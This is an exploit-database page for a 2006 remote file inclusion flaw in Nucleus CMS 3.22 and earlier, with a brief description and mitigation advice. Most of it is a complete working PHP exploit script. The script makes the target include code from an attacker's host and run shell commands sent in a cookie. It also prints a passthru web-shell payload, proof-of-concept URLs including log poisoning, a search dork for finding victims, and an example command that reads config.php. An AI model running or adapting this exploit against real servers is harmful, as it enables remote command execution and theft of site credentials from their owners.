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Nucleus - exploit.company
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Suggest Exploit
vendor:
Nucleus CMS
by:
rgod
7.5
CVSS
HIGH
Arbitrary remote inclusion
Unknown
CWE
Product Name: Nucleus CMS
Affected Version From: 3.22 and earlier
Affected Version To: 3.22
Patch Exists: NO
Related CWE: Unknown
CPE: Unknown
Metasploit:
Other Scripts:
Platforms Tested:
Unknown

Nucleus <= 3.22 arbitrary remote inclusion exploit

This exploit allows an attacker to include arbitrary code from a remote location in the Nucleus CMS version 3.22 or earlier. The vulnerability exists in the PLUGINADMIN.php file in the nucleus/libs directory. The code checks for the existence of certain variables and includes them in the code execution process. By manipulating these variables, an attacker can execute arbitrary commands on the server.

Mitigation:

Update to a version of Nucleus CMS that is not vulnerable to this exploit. Alternatively, disable the allow_url_fopen and register_globals options in the PHP configuration.
Source

Exploit-DB raw data:

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Nucleus <= 3.22 arbitrary remote inclusion exploit\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "this is called the \"deadly eyes of Sun-tzu\"\r\n";
echo "dork: Copyright . Nucleus CMS v3.22 . Valid XHTML 1.0 Strict . Valid CSS . Back to top\r\n\r\n";
/*
works with:
register_globals=Om
allow_url_fopen=Om
*/

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path location cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to Nucleus\r\n";
echo "location:  an arbitrary location with the code to include\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /nucleus/ http://somehost.com/ cat ./../../config.php\r\n";
echo "php ".$argv[0]." localhost /nucleus/ http://somehost.com/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / http://somehost.com/ ls -la -P1.1.1.1:80\r\n\r\n";
echo "note, you need this code in http://somehost.com/ADMIN.php/index.html\r\n";
echo "<?php\r\n";
echo "if (get_magic_quotes_gpc()){\$_REQUEST[\"cmd\"]=stripslashes(\$_REQUEST[\"cmd\"]);}\r\n";
echo "ini_set(\"max_execution_time\",0);\r\n";
echo "echo \"*delim*\";\r\n";
echo "passthru(\$_REQUEST[\"cmd\"]);\r\n";
echo "echo \"*delim*\";\r\n";
echo "?>\r\n";
die;
}

/* software site: http://nucleuscms.org/

   i) vulnerable code in nucleus/libs/PLUGINADMIN.php at lines 21-49:

   ...
   global $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_ENV_VARS, $HTTP_POST_FILES, $HTTP_SESSION_VARS;
$aVarsToCheck = array('DIR_LIBS');
foreach ($aVarsToCheck as $varName)
{
	if (phpversion() >= '4.1.0')
	{
		if (   isset($_GET[$varName])
			|| isset($_POST[$varName])
			|| isset($_COOKIE[$varName])
			|| isset($_ENV[$varName])
			|| isset($_SESSION[$varName])
			|| isset($_FILES[$varName])
		){
			die('Sorry. An error occurred.');
		}
	} else {
		if (   isset($HTTP_GET_VARS[$varName])
			|| isset($HTTP_POST_VARS[$varName])
			|| isset($HTTP_COOKIE_VARS[$varName])
			|| isset($HTTP_ENV_VARS[$varName])
			|| isset($HTTP_SESSION_VARS[$varName])
			|| isset($HTTP_POST_FILES[$varName])
		){
			die('Sorry. An error occurred.');
		}
	}
}

include($DIR_LIBS . 'ADMIN.php');
...

so, if register_globals = On and allow_url_fopen = On, we have arbitrary remote inclusion, poc:

http://[target]/[path_to_nucleus]/nucleus/libs/PLUGINADMIN.php?GLOBALS[DIR_LIBS]=http://somehost.com/&cmd=ls%20-la

where on somehost.com we have some php code in

http://somehost.com/ADMIN.php/index.html

also, if register_globals = On & magic_quotes_gpc = Off:

http://[target]/[path_to_nucleus]/nucleus/libs/PLUGINADMIN.php?GLOBALS[DIR_LIBS]=/var/log/httpd/access_log%00&cmd=ls%20-la

									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;

}
$host=$argv[1];
$path=$argv[2];
$loc=urlencode($argv[3]);
if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))
{die("Check the path, it must begin and end with a trailing slash\r\n");}
$port=80;
$proxy="";
$cmd="";
for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{
$cmd.=" ".$argv[$i];
}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}

$packet ="GET ".$p."nucleus/libs/PLUGINADMIN.php HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n";
$packet.="Host: ".$host."\r\n";
//through cookies, it's the same, maybe can bypass some ids...
$packet.="Cookie: GLOBALS[DIR_LIBS]=".$loc."; cmd=".$cmd.";\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);

if (strstr($html,"*delim*"))
{
  echo "Exploit succeeded...";
  $temp=explode("*delim*",$html);
  die("\r\n".$temp[1]."\r\n");
}
//if you are here...
echo "Exploit failed...\r\n";
?>

# milw0rm.com [2006-05-23]